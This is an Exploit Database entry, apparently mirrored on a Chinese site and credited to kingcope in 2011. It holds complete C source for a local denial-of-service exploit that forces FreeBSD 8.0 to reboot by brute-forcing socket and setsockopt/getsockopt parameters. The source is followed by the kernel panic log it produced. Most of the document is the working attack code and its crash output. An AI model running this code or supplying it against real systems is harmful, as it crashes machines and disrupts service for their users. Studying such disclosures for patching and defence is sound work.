FreeBSD 8.0 – Local Forced Reboot (Denial of Service)

• Exploit Database
• 10 阅读

• 作者： kingcope
  日期： 2011-01-28
• 类别：

  • dos
  平台：

  • bsd
• 来源：https://www.exploit-db.com/exploits/16064/

• /*
  # Exploit Title: FreeBSD local denial of service - forced reboot
  # Date: 28. January 2011
  # Author: Kingcope
  # Software Link: http://www.freebsd.org
  # Operating System: FreeBSD
  # Tested on: 8.0-RELEASE
  
  This source code when compiled and executed
  will reboot at least FreeBSD 8.0-RELEASE because of a null pointer dereference.
  */
  
  
  #include <sys/types.h>
  #include <sys/mman.h>
  #define PAGE_SIZE 4096
  #include <sys/stat.h>
  #include <fcntl.h>
  #include <sys/socket.h>
  main() {
   int k,fd,i2,i3,i4,i5,i6,i7,i8;
  char *p;
  char buf[4096];
  
  for (i2=0;i2<256;i2++) {
   for (i3=0;i3<2;i3++) {
   for (i4=0;i4<2;i4++) {
   fd = socket(i2, i3, i4);
   if (fd < 0) continue;
   printf("SUCCESS!\n");
   for (i5=0;i5<100;i5++) {
   for (i6=0;i6<100;i6++) {
   setsockopt(fd, i5, i6, buf, 4);
   getsockopt(fd, i5, i6, buf, &i7);
   }}}}}
  }
  
  The crash dump looks like the following.
  
  Jan 28 11:33:07 r00tme kernel:
  Jan 28 11:33:07 r00tme kernel:
  Jan 28 11:33:07 r00tme kernel: Fatal trap 12: page fault while in kernel mode
  Jan 28 11:33:07 r00tme kernel: cpuid = 0; apic id = 00
  Jan 28 11:33:07 r00tme kernel: fault virtual address= 0xc
  Jan 28 11:33:07 r00tme kernel: fault code = supervisor
  write, page not present
  Jan 28 11:33:07 r00tme kernel: instruction pointer= 0x20:0xc06143ba
  Jan 28 11:33:07 r00tme kernel: stack pointer= 0x28:0xcd1fa5b4
  Jan 28 11:33:07 r00tme kernel: frame pointer= 0x28:0xcd1fa85c
  Jan 28 11:33:07 r00tme kernel: code segment = base 0x0,
  limit 0xfffff, type 0x1b
  Jan 28 11:33:07 r00tme kernel: = DPL 0, pres 1, def32 1, gran 1
  Jan 28 11:33:07 r00tme kernel: processor eflags = interrupt enabled,
  resume, IOPL = 0
  Jan 28 11:33:07 r00tme kernel: current process= 1004 (bsdcrash)
  Jan 28 11:33:07 r00tme kernel: trap number= 12
  Jan 28 11:33:07 r00tme kernel: panic: page fault
  Jan 28 11:33:07 r00tme kernel: cpuid = 0
  Jan 28 11:33:07 r00tme kernel: Uptime: 2m48s
  Jan 28 11:33:07 r00tme kernel: Cannot dump. Device not defined or unavailable.
  Jan 28 11:33:07 r00tme kernel: Automatic reboot in 15 seconds - press
  a key on the console to abort
  Jan 28 11:33:07 r00tme kernel: Rebooting...
  
  The cause of the crash seems to be a specific network driver. Since
  the crash is forced (only?) in a VMWare virtual machine the
  exploitability can be dependent on the loaded device drivers
  and installed hardware.